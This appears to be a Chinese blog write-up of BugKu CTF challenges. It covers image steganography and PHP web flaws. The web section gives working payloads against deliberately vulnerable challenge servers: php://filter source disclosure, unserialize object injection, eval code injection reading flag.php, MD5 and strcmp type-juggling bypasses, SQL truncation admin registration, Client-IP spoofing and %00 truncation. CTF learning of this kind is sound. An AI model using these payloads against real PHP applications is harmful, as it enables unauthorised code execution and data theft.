BugKuCTF Writeup

原创

Seri0us 于 2019-06-30 21:28:36 发布 301 收藏

BugKuCTF Writeup

MISC

这是一张单纯的图片

用文本编辑打开图片，翻到最下面，发现

```
&#107;&#101;&#121;&#123;&#121;&#111;&#117;&#32;&#97;&#114;&#101;&#32;&#114;&#105;&#103;&#104;&#116;&#125;
```

html编码。解码即可得到flag

隐写

用winhex打开png文件。

从文件头开始前8字节数据是PNG文件的标志，往后四位是文件头的数据长度，往后四位是数据块类型标志

再往后四位是图像的宽度，如

`00 00 00 C8`是200的意思

再往后四位是图像的高度

一般隐写类问题就涉及到这两个（如果有的话后面再补充）

这道题修改一下文件的高度就可以了，

将表示高度的`00 00 01 A4`改成`00 00 01 F4`就可以了，当然可以调的更高，只要能看清flag就可以了

WEB

字符？正则？

```
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
  die('key is: '.$key);
}
?>
```

首先分析一下正则匹配式中几个符号的含义

```
.                                匹配除 "\n" 之外的任何单个字符

*                                匹配它前面的表达式0次或多次，等价于{0,}

{4,7}                            最少匹配 4 次且最多匹配 7 次，结合前面的 . 也就是匹配 4 到 7 个任意字符

\/                               匹配 / ，这里的 \ 是为了转义

[a-z]                            匹配所有小写字母

[:punct:]                        匹配任何标点符号

/i                               表示不分大小写
```

接下来就开始逐步分析了

```
/key.*
```

对前面的表达式进行匹配

于是: `id=key`

```
/key.*key.{4,7}key:\/.\/(.*key)
```

考虑到后面有`*`，所以要带上前面的几个`key`还有`:`，再对前面进行分析

首先因为有`{4,7}`，任意填上四个字符

于是： `id=keykeyaaaakey:`

然后就是`\/.\/`

因为如果是`//`，会出错，所以在中间任意添加一个字符

于是： `id=keykeyaaaakey:\a\`

```
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
```

于是： `id=keykeyaaaakey:\a\keya:`

得到flag

welcome to bugkuctf

页面上什么重要信息都没有，打开源代码

```
you are not the number of bugku !

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
    echo "hello admin!<br>";
    include($file); //hint.php
}else{
    echo "you are not admin ! ";
}
 -->
```

想到maker-ctf中有一道题目中考察到了相应知识点

于是利用php://input读取没有处理过的POST数据，在burpsuite中进行构造

```
GET /test1/?txt=php://input&file=hint.php

welcome to the bugkuctf
```

失败了…

但是看到include($file)，于是尝试是否能使用文件包含

```
GET /test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php

welcome to the bugkuctf
```

对得到的东西进行解码，得

```
<?php

class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
   echo "<br>";
  return ("good");
        }
    }
}
?>
```

想直接通过同样方法得到flag.php

但是失败了。。。

思路在这里中断了，于是上网查了一下writeup，发现遗漏了一个index.php

```php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){
  echo "不能现在就给你flag哦";
        exit();
    }else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}else{
    echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
    echo "hello admin!<br>";
    include($file); //hint.php
}else{
    echo "you are not admin ! ";
}
 -->
```

看到unserialize立马想到反序列化漏洞，于是构造

```
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

于是构造出payload

```
GET /test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

这里hint.php可能是因为之前的`include($file); //hint.php`

得到flag~

前女友

打开源代码，发现其中有个code.txt可以查看

```php
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
```

第一反应就是弱类型比较（不过看到篇writeup说使用一个不可md5的数据类型传入的话那么md5函数将返回false，也可以达到目的）

对后面的strcmp函数，strcmp函数如果出错，那么它的返回值也会是0，和字符串相等时返回值一致。

于是构造

```
http://123.206.31.85:49162/?v1=s214587387a&v2=QNKCDZO&v3[]=flag
```

得到flag

速度要快

打开页面，没什么发现，于是用burpsuite抓包

扔到repeater中，运行发现有flag，用base64进行解码，得

`跑的还不错，给你flag吧: MjIzMjc1`

提交发现不正确

再进行解码得到一串数字

`223275`

提交发现还是不正确

于是重新抓包看一下哪错了，发现给的flag值变了，想到是不是每次都会变（加上题目所说的速度要快）

再看下题目的用post方式提交margin，可能是将这个得到的所谓的flag来作为margin的值，于是写一个脚本

```python
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.session()
flag=s.get(url).headers['flag']
flag=base64.b64decode(flag) ## python3这个操作会导致生成bytes对象，python2直接可以使用decodestring
flag=flag.decode() # 因为上一步解码时生成了bytes类型对象，需要转化为string，decode()默认编码是utf-8
flag=base64.b64decode(flag.split(":")[1])
print(flag)
payload={'margin':flag}
print(s.post(url,data=payload).text)
```

得到flag

Cookies欺骗

首先看网页的url，发现有两个参数line和filename，并且filename是通过base64进行编码的，解码后得到keys.txt

试一下给line一个值，发现0以上都不会显示

于是将方向转向index.php，将其base64编码后放到filename中，发现出现了一段php的开头，修改line的值，发现回显不断改变

为了节约时间，写了代码来获取全部的值

```
import requests
for a in range(0,40):  #这里的上界是为了保证能获得全部代码，可任意进行修改
    url="http://123.206.87.240:8002/web11/index.php?line={0}&filename=aW5kZXgucGhw".format(a)
    s=requests.get(url)
    print(s.text)
    a=a+1
```

得到代码

```
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
```

看了下代码，觉得将filename改成key.php编码后的东西，以及将cookie设置为margin=margin就可以了

这么做果然得到了flag

Never give up

看了下题没有什么思路，于是看了一下别人的writeup来找下思路，发现

```
<!--1p.html-->
never never never give up !!!
```

中的1p.html是可以打开的

于是打开，发现跳转到bugku首页，但查看源代码发现了个不寻常的东西

```
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTN
CaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRml
kJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0Q
lMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjc
uJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTI
wJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXR
hJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGV
uJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTI
wYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSU
zQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSU
yMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
```

看到%3E猜测是url编码

投到url解码中，得到

```
<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxv
LnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUw
QSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUy
NGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5
cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJu
JTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRk
YXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3Ry
bGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5
JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUy
OSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUy
MSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
```

看到后面两个=就知道是base64编码了，解码后得到

```
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exi
t%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%
5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09ret
urn%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20
a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28
%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%2
2%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F
%3E
```

url编码，解码得

```
 ";if(!$_GET['id'])
{
 header('Location: hello.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
 echo 'no no no no no no no';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and su
bstr($b,0,1)!=4)
{
 require("f4l2a3g.txt");
}
else
{
 print "never never never give up !!!";
}


?>
```

其中有几个函数我不是太清楚，上网查了一下

stripos	返回字符串在另一字符串中第一次出现的位置，如果没有找到字符串则返回 FALSE。
file_get_contents	把整个文件读入一个字符串中
eregi	在一个字符串搜索指定的模式的字符串，如果匹配成功返回true,否则,则返回false
substr	返回字符串的一部分（截取？）

不过在尝试绕过前试下f4l2a3g.txt能不能访问

竟然真的能够访问.....而且直接就给flag了

备份是个好习惯

猜测是源码泄漏题，于是尝试几个常见的后缀名，发现为index.php.bak时下载了一个文件，打开文件

```php
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); #截取?之后的内容
$str = substr($str,1);  #将问号给弄没
$str = str_replace('key','',$str); #将key给删除了
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>
```

于是可以做出payload

```
http://123.206.87.240:8002/web16/index.php?kkeyey1[]=1&kkeyey2[]=1
```

得到flag

本地包含

```php
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>
```

很明显就是要访问flag.php（做了一个很高级的推理...)

于是构造payload

```
http://123.206.87.240:8003/?hello=${print_r(file(%22./flag.php%22))}
```

或者

```
http://123.206.87.240:8003/?hello=);print_r(file(%22./flag.php%22));%23
```

得到flag

原本想使用cat命令获得flag，不过没用，也不知道为什么...

login1(SKCTF)

题目提醒sql约束攻击

于是搜了一下

https://www.freebuf.com/articles/web/124537.html

简单来说就是数据库采用了varchar(n)方法（如果字符串的长度大于“n”个字符的话，那么仅使用字符串的前“n”个字符）。同时又有sql删除字符串末尾空格的特性。于是使用用户名“admin[许多空白符]1”和一个随机密码进行注册即可。

这样用户名用admin，密码用注册的密码即可登录成功，得到flag

程序员本地网站

用burpsuite抓包修改Client-ip的值为127.0.0.1即可得到flag

各种绕过

看了一下题目，觉得md5()和sha1()可能会有相同的绕过方法，id那里没有发现什么玄奥的地方

于是就先做了如下payload

```
url:
123.206.87.240:8002/web7/?id=margin&uname[]=1
post data:
passwd[]=2
```

然后就得到flag了，是我遗漏了这道题什么亮点之处吗…

web8

看了一下题目，觉得要用php://input，构造payload

```
http://123.206.87.240:8002/web8/?ac=1&fn=php://input
```

post data就是1，得到flag

注：网上还有一种方法是查看flag.txt，虽然我不知道是怎么想出来的…不过确实能得到flag

细心

看了半天没有解题思路，于是去看了一下别的writeup，发现是从robots.txt入手的

访问robots.txt，页面给了resus.php

访问，发现需要我们提供x的值，并且要与password的值一样，想到题目的hint，于是将x的值设置为admin，得到flag

代码审计

strcmp比较字符串

payload

```
http://123.206.87.240:9009/6.php?a[]=1
```

urldecode二次编码绕过

```
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("

not allowed!

");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "
Access granted!

";
echo "
flag

";
}
?>
```

也就是说要先绕过第一个的匹配，然后后面有一次url解码。结合题目，我们可以将hackerDJ中的一个字母进行编码后再对%进行编码，从而得到flag

payload

```
http://123.206.87.240:9009/10.php?id=h%2561ckerDJ
```

md5函数

payload

```
http://123.206.87.240:9009/18.php?username[]=1&password[]=2
```

数组返回NULL绕过

payload

```
http://123.206.87.240:9009/19.php?password[]='--'
```

弱类型整数大小比较绕过

php大多数的函数都没有办法去判断数组...

```
http://123.206.87.240:9009/22.php?password[]=11111
```

sha()函数比较绕过

payload

```
http://123.206.87.240:9009/7.php?name[]=1&password[]=2
```

md5加密相等绕过

payload

```
http://123.206.87.240:9009/13.php?a=s214587387a
```

十六进制与数字比较

函数要求变量`$temp`不能存在1~9之间的数字。又要求`$temp`=3735929054

结合题意，因为php在转码时会把16进制转化为十进制，于是可构造出payload

```
http://123.206.87.240:9009/20.php?password=0xdeadc0de
```

得到flag

ereg正则%00截断

法一

ereg() 只能处理字符串，而password是数组，所以返回的是null，三个等号的时候不会进行类型转换。所以null!==false。

strpos() 的参数同样不能够是数组，所以返回的依旧是null，null!==false也正确。

```
http://123.206.87.240:9009/5.php?password[]=1
```

法二

利用科学计数法加%00截断

```
http://123.206.87.240:9009/5.php?password=1e9%00*-*
```